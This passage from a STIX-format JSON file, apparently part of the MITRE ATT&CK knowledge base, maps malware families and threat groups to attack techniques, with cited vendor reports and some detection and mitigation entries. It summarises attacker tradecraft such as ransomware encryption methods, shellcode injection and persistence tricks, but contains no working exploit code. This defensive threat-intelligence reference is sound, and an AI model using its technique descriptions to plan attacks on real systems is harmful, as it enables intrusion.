            "description": "Monitor for newly constructed containers that may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.\n\nAnalytic 1 - Containers communicating with unexpected external services.\n\n<code>sourcetype=container_creation OR sourcetype=container_start\n| stats count by container_name event_description user\n| where container_name NOT IN (\"<known_containers>\") AND event_description IN (\"created\", \"started\") </code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953",
            "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--97edbd3f-9470-4845-ab9f-245a5248ab59",
            "created": "2022-03-30T14:26:51.866Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "ADDSecurity DCShadow Feb 2018",
                    "description": "Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.",
                    "url": "https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:01:03.696Z",
            "description": "Investigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with \u201cGC/\u201d) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235\u20134B06\u201311D1-AB04\u201300C04FC2DCD2) can be set without logging.(Citation: ADDSecurity DCShadow Feb 2018)\u00a0A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e",
            "target_ref": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--97ef26b5-5dda-458b-926e-933ec0d099d6",
            "created": "2021-02-17T19:22:30.957Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "CarbonBlack Conti July 2020",
                    "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021.",
                    "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/"
                },
                {
                    "source_name": "Cybleinc Conti January 2020",
                    "description": "Cybleinc. (2021, January 21). Conti Ransomware Resurfaces, Targeting Government & Large Organizations. Retrieved April 13, 2021.",
                    "url": "https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/"
                },
                {
                    "source_name": "DFIR Conti Bazar Nov 2021",
                    "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.",
                    "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"
                },
                {
                    "source_name": "CrowdStrike Wizard Spider October 2020",
                    "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.",
                    "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"
                },
                {
                    "source_name": "Cybereason Conti Jan 2021",
                    "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021.",
                    "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:33:47.390Z",
            "description": "[Conti](https://attack.mitre.org/software/S0575) can use <code>CreateIoCompletionPort()</code>, <code>PostQueuedCompletionStatus()</code>, and <code>GetQueuedCompletionPort()</code> to rapidly encrypt files, excluding those with the extensions of .exe, .dll, and .lnk. It has used a different AES-256 encryption key per file with a bundled RAS-4096 public encryption key that is unique for each victim. [Conti](https://attack.mitre.org/software/S0575) can use \u201cWindows Restart Manager\u201d to ensure files are unlocked and open for encryption.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)(Citation: CrowdStrike Wizard Spider October 2020)(Citation: DFIR Conti Bazar Nov 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b",
            "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--97fe312d-7a04-43f9-8076-69fe324517ce",
            "created": "2020-06-10T17:28:46.706Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Trend Micro Tick November 2019",
                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020.",
                    "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf"
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            ],
            "modified": "2025-04-28T16:01:03.978Z",
            "description": "[ABK](https://attack.mitre.org/software/S0469) has the ability to inject shellcode into svchost.exe.(Citation: Trend Micro Tick November 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--a0ebedca-d558-4e48-8ff7-4bf76208d90c",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
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            "x_mitre_deprecated": false,
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        },
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            "spec_version": "2.1",
            "id": "relationship--97ff5931-f27f-4774-b595-312f5771f91a",
            "created": "2017-12-14T16:46:06.044Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved November 17, 2024.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/05/20081935/rpt-apt30.pdf"
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            "modified": "2025-04-16T22:33:47.828Z",
            "description": "[SHIPSHAPE](https://attack.mitre.org/software/S0028) achieves persistence by creating a shortcut in the Startup folder.(Citation: FireEye APT30)",
            "relationship_type": "uses",
            "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
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            "x_mitre_deprecated": false,
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                {
                    "source_name": "Securelist Octopus Oct 2018",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.",
                    "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/"
                },
                {
                    "source_name": "ESET Nomadic Octopus 2018",
                    "description": "Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf"
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            ],
            "modified": "2025-04-28T16:01:04.259Z",
            "description": "[Octopus](https://attack.mitre.org/software/S0340) has stored collected information in the Application Data directory on a compromised host.(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)",
            "relationship_type": "uses",
            "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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            "id": "relationship--9800fd7a-d2e1-4188-a991-7b8e09edaa13",
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                {
                    "source_name": "ESET ComRAT May 2020",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf"
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            ],
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            ],
            "modified": "2025-04-28T16:01:04.446Z",
            "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used <code>cmd.exe</code> to execute commands.(Citation: ESET ComRAT May 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--9801b87a-29e0-4252-81e6-50bbc32d1940",
            "created": "2021-10-06T16:13:04.953Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Malwarebytes Kimsuky June 2021",
                    "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/"
                },
                {
                    "source_name": "Proofpoint TA427 April 2024",
                    "description": "Lesnewich, G. et al. (2024, April 16). From Social Engineering to DMARC Abuse: TA427\u2019s Art of Information Gathering. Retrieved May 3, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering"
                },
                {
                    "source_name": "Mandiant APT43 Full PDF Report",
                    "description": "Mandiant. (n.d.). APT43: North Korean Group Uses Cybercrime to Fund Espionage Operations. Retrieved October 14, 2024.",
                    "url": "https://services.google.com/fh/files/misc/apt43-report-en.pdf"
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            "modified": "2025-04-16T22:33:48.463Z",
            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has collected valid email addresses including personal accounts that were subsequently used for spearphishing and other forms of social engineering.(Citation: Malwarebytes Kimsuky June 2021)(Citation: Proofpoint TA427 April 2024)(Citation: Mandiant APT43 Full PDF Report)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--9802575b-e7bf-417b-8c4e-cfa922e2792b",
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) will break large data sets into smaller chunks for exfiltration.(Citation: cobaltstrike manual)",
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                    "source_name": "Unit42 Xbash Sept 2018",
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
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                    "description": "DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.",
                    "url": "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"
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                    "source_name": "DFIR Report APT35 ProxyShell March 2022",
                    "description": "DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.",
                    "url": "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"
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                    "source_name": "Microsoft Iranian Threat Actor Trends November 2021",
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                    "url": "https://www.microsoft.com/en-us/security/blog/2021/11/16/evolving-trends-in-iranian-threat-actor-activity-mstic-presentation-at-cyberwarcon-2021"
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                    "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.",
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                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
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            "description": "[Aquatic Panda](https://attack.mitre.org/groups/G0143) used WMI for lateral movement in victim environments.(Citation: Crowdstrike HuntReport 2022)",
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                    "source_name": "Talos Cobalt Strike September 2020",
                    "description": "Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved September 12, 2024.",
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                    "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
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                    "source_name": "Cobalt Strike Manual 4.3 November 2020",
                    "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.",
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                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
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            "description": "[Empire](https://attack.mitre.org/software/S0363) can use Dropbox for data exfiltration.(Citation: Github PowerShell Empire)",
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            "description": "[Spark](https://attack.mitre.org/software/S0543) has run the whoami command and has a built-in command to identify the user logged in.(Citation: Unit42 Molerat Mar 2020) ",
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            "modified": "2025-04-16T22:34:19.779Z",
            "description": "Where possible, consider enforcing the use of container services in rootless mode to limit the possibility of privilege escalation or malicious effects on the host running the container.",
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                {
                    "source_name": "CISA MAR SLOTHFULMEDIA October 2020",
                    "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020.",
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            "modified": "2025-04-28T16:01:27.607Z",
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has downloaded files onto a victim machine.(Citation: CISA MAR SLOTHFULMEDIA October 2020)",
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                {
                    "source_name": "Sandfly BPFDoor 2022",
                    "description": "The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.",
                    "url": "https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"
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            "description": "[BPFDoor](https://attack.mitre.org/software/S1161) uses the `utimes()` function to change the executable's timestamp.(Citation: Sandfly BPFDoor 2022) ",
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            "x_mitre_deprecated": false,
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                {
                    "source_name": "Lunghi Iron Tiger Linux",
                    "description": "Daniel Lunghi. (2023, March 1). Iron Tiger\u2019s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.",
                    "url": "https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"
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            "x_mitre_deprecated": false,
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            "id": "relationship--9a05a8cc-8d3c-46a5-947e-bebed2ab1c5a",
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                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
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                    "source_name": "Picus BlackByte 2022",
                    "description": "Huseyin Can Yuceel. (2022, February 21). TTPs used by BlackByte Ransomware Targeting Critical Infrastructure. Retrieved December 16, 2024.",
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            "description": "[BlackByte](https://attack.mitre.org/groups/G1043) queried registry values to determine system language settings.(Citation: Picus BlackByte 2022)",
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                    "source_name": "Anomali Linux Rabbit 2018",
                    "description": "Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019.",
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            "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).",
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            "x_mitre_deprecated": false,
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            "revoked": false,
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                {
                    "source_name": "PWC Sea Turtle 2023",
                    "description": "PwC Threat Intelligence. (2023, December 5). The Tortoise and The Malware. Retrieved November 20, 2024.",
                    "url": "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/tortoise-and-malwahare.html"
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            "modified": "2025-04-16T22:34:21.118Z",
            "description": "[Sea Turtle](https://attack.mitre.org/groups/G1041) used [SnappyTCP](https://attack.mitre.org/software/S1163) following initial access in intrusions from 2021 to 2023.(Citation: PWC Sea Turtle 2023)",
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                    "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.",
                    "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/"
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                {
                    "source_name": "ANSSI Sandworm January 2021",
                    "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021.",
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            "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) has a hardcoded location under systemd that it uses to achieve persistence if it is running as root.(Citation: ESET TeleBots Oct 2018)(Citation: ANSSI Sandworm January 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd",
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                    "url": "https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"
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                    "source_name": "SentinelOne SocGholish Infrastructure November 2022",
                    "description": "Milenkoski, A. (2022, November 7). SocGholish Diversifies and Expands Its Malware Staging Infrastructure to Counter Defenders. Retrieved March 22, 2024.",
                    "url": "https://www.sentinelone.com/labs/socgholish-diversifies-and-expands-its-malware-staging-infrastructure-to-counter-defenders/"
                },
                {
                    "source_name": "Red Canary SocGholish March 2024",
                    "description": "Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.",
                    "url": "https://redcanary.com/threat-detection-report/threats/socgholish/"
                },
                {
                    "source_name": "Secureworks Gold Prelude Profile",
                    "description": "Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.",
                    "url": "https://www.secureworks.com/research/threat-profiles/gold-prelude"
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            "description": "[Mustard Tempest](https://attack.mitre.org/groups/G1020) has used drive-by downloads for initial infection, often using fake browser updates as a lure.(Citation: SocGholish-update)(Citation: SentinelOne SocGholish Infrastructure November 2022)(Citation: Red Canary SocGholish March 2024)(Citation: Secureworks Gold Prelude Profile)",
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                    "source_name": "CISA Akira Ransomware APR 2024",
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                    "url": "https://www.cisa.gov/sites/default/files/2024-04/aa24-109a-stopransomware-akira-ransomware_2.pdf"
                },
                {
                    "source_name": "Cisco Akira Ransomware OCT 2024",
                    "description": "Nutland, J. and Szeliga, M. (2024, October 21). Akira ransomware continues to evolve. Retrieved December 10, 2024.",
                    "url": "https://blog.talosintelligence.com/akira-ransomware-continues-to-evolve/"
                },
                {
                    "source_name": "Palo Alto Howling Scorpius DEC 2024",
                    "description": "Zemah, Y. (2024, December 2). Threat Assessment: Howling Scorpius (Akira Ransomware). Retrieved January 8, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/threat-assessment-howling-scorpius-akira-ransomware/"
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            "description": "(Citation: CISA Akira Ransomware APR 2024)(Citation: Cisco Akira Ransomware OCT 2024)\n(Citation: Palo Alto Howling Scorpius DEC 2024)",
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            "x_mitre_deprecated": false,
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                {
                    "source_name": "Palo Alto Brute Ratel July 2022",
                    "description": "Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"
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            "description": "[Brute Ratel C4](https://attack.mitre.org/software/S1063) has the ability to use RPC for lateral movement.(Citation: Palo Alto Brute Ratel July 2022)",
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                    "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.",
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            "description": "[APT39](https://attack.mitre.org/groups/G0087) has used remote access tools that leverage DNS in communications with C2.(Citation: BitDefender Chafer May 2020)",
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            "description": "[DustySky](https://attack.mitre.org/software/S0062) achieves persistence by creating a Registry entry in <code>HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run</code>.(Citation: DustySky)",
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                    "url": "https://www.clearskysec.com/fox-kitten/"
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            "description": "[IndigoZebra](https://attack.mitre.org/groups/G0136) has acquired open source tools such as [NBTscan](https://attack.mitre.org/software/S0590) and Meterpreter for their operations.(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017) ",
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                    "source_name": "PowerSploit Documentation",
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            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can discover and exploit search order hijacking vulnerabilities.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
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                    "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021.",
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                    "source_name": "McAfee Honeybee",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/"
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                    "description": "Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022.",
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                    "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.",
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                    "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/"
                },
                {
                    "source_name": "Volexity InkySquid RokRAT August 2021",
                    "description": "Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021.",
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                    "description": "Yamout, M. (2021, November 29). WIRTE\u2019s campaign in the Middle East \u2018living off the land\u2019 since at least 2019. Retrieved February 1, 2022.",
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                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
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                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
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                    "description": "CISA et al. (2024, July 8). People\u2019s Republic of China (PRC) Ministry of State Security APT40 Tradecraft in Action. Retrieved February 3, 2025.",
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            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) enumerated compromised web application resources to identify additional endpoints and resources linkd to the website for follow-on access during [Leviathan Australian Intrusions](https://attack.mitre.org/campaigns/C0049).(Citation: CISA Leviathan 2024)",
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                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.",
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            "description": "[RegDuke](https://attack.mitre.org/software/S0511) can store its encryption key in the Registry.(Citation: ESET Dukes October 2019)",
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                    "description": "M.L\u00e9veille, M-E.. (2017, October 24). Bad Rabbit: Not\u2011Petya is back with improved ransomware. Retrieved January 28, 2021.",
                    "url": "https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/"
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                {
                    "source_name": "Secure List Bad Rabbit",
                    "description": "Mamedov, O. Sinitsyn, F.  Ivanov, A.. (2017, October 24). Bad Rabbit ransomware. Retrieved January 28, 2021.",
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                    "source_name": "Huntress INC Ransom Group August 2023",
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                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.",
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                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
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                    "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 17, 2024.",
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            "description": "[LazyScripter](https://attack.mitre.org/groups/G0140) has used PowerShell scripts to execute malicious code.(Citation: MalwareBytes LazyScripter Feb 2021)",
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                {
                    "source_name": "IBM ZeroCleare Wiper December 2019",
                    "description": "Kessem, L. (2019, December 4). New Destructive Wiper ZeroCleare Targets Energy Sector in the Middle East. Retrieved September 4, 2024.",
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            "description": "[ZeroCleare](https://attack.mitre.org/software/S1151) can use a malicious PowerShell script to bypass Windows controls.(Citation: IBM ZeroCleare Wiper December 2019)",
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                    "source_name": "Kaspersky Turla",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
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                {
                    "source_name": "Symantec Waterbug Jun 2019",
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments"
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                {
                    "source_name": "ESET ComRAT May 2020",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf"
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                    "source_name": "ESET Turla PowerShell May 2019",
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
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            "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover network configuration details using the <code>arp -a</code>, <code>nbtstat -n</code>, <code>net config</code>, <code>ipconfig /all</code>, and <code>route</code> commands, as well as [NBTscan](https://attack.mitre.org/software/S0590).(Citation: Kaspersky Turla)(Citation: Symantec Waterbug Jun 2019)(Citation: ESET ComRAT May 2020) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also retrieved registered RPC interface information from process memory.(Citation: ESET Turla PowerShell May 2019)",
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                    "source_name": "UCF STIG Elevation Account Enumeration",
                    "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.",
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            "revoked": false,
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                {
                    "source_name": "Talos Frankenstein June 2019",
                    "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020.",
                    "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html"
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            "description": "During [Frankenstein](https://attack.mitre.org/campaigns/C0001), the threat actors used WMI queries to check if various security applications were running as well as to determine the operating system version.(Citation: Talos Frankenstein June 2019)",
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                {
                    "source_name": "Securelist Octopus Oct 2018",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.",
                    "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/"
                },
                {
                    "source_name": "ESET Nomadic Octopus 2018",
                    "description": "Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf"
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            "description": "[Nomadic Octopus](https://attack.mitre.org/groups/G0133) as attempted to lure victims into clicking on malicious attachments within spearphishing emails.(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)",
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                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
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                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
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            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used [at](https://attack.mitre.org/software/S0110) to register a scheduled task to execute malware during lateral movement.(Citation: Secureworks BRONZE BUTLER Oct 2017)",
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                {
                    "source_name": "F-Secure The Dukes",
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            "description": "[SeaDuke](https://attack.mitre.org/software/S0053) uses HTTP and HTTPS for C2.(Citation: F-Secure The Dukes)",
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            "x_mitre_deprecated": false,
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                    "source_name": "Oligo ShadowRay Campaign MAR 2024",
                    "description": "Lumelsly, A. et al. (2024, March 26). ShadowRay: First Known Attack Campaign Targeting AI Workloads Actively Exploited In The Wild. Retrieved December 2, 2024.",
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            "x_mitre_deprecated": false,
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            "x_mitre_deprecated": false,
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        },
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "description": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672). Correlate other security systems with login information (e.g., a user has the KRBTGT account password hash and forges Kerberos ticket-granting tickets). ",
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            "x_mitre_deprecated": false,
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                    "source_name": "Microsoft Disable VBA Jan 2020",
                    "description": "Microsoft. (2020, January 23). How to turn off Visual Basic for Applications when you deploy Office. Retrieved September 17, 2020.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/office/troubleshoot/office-developer/turn-off-visual-basic-for-application"
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            "modified": "2025-04-28T16:02:28.692Z",
            "description": "Turn off or restrict access to unneeded VB components.(Citation: Microsoft Disable VBA Jan 2020)",
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                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
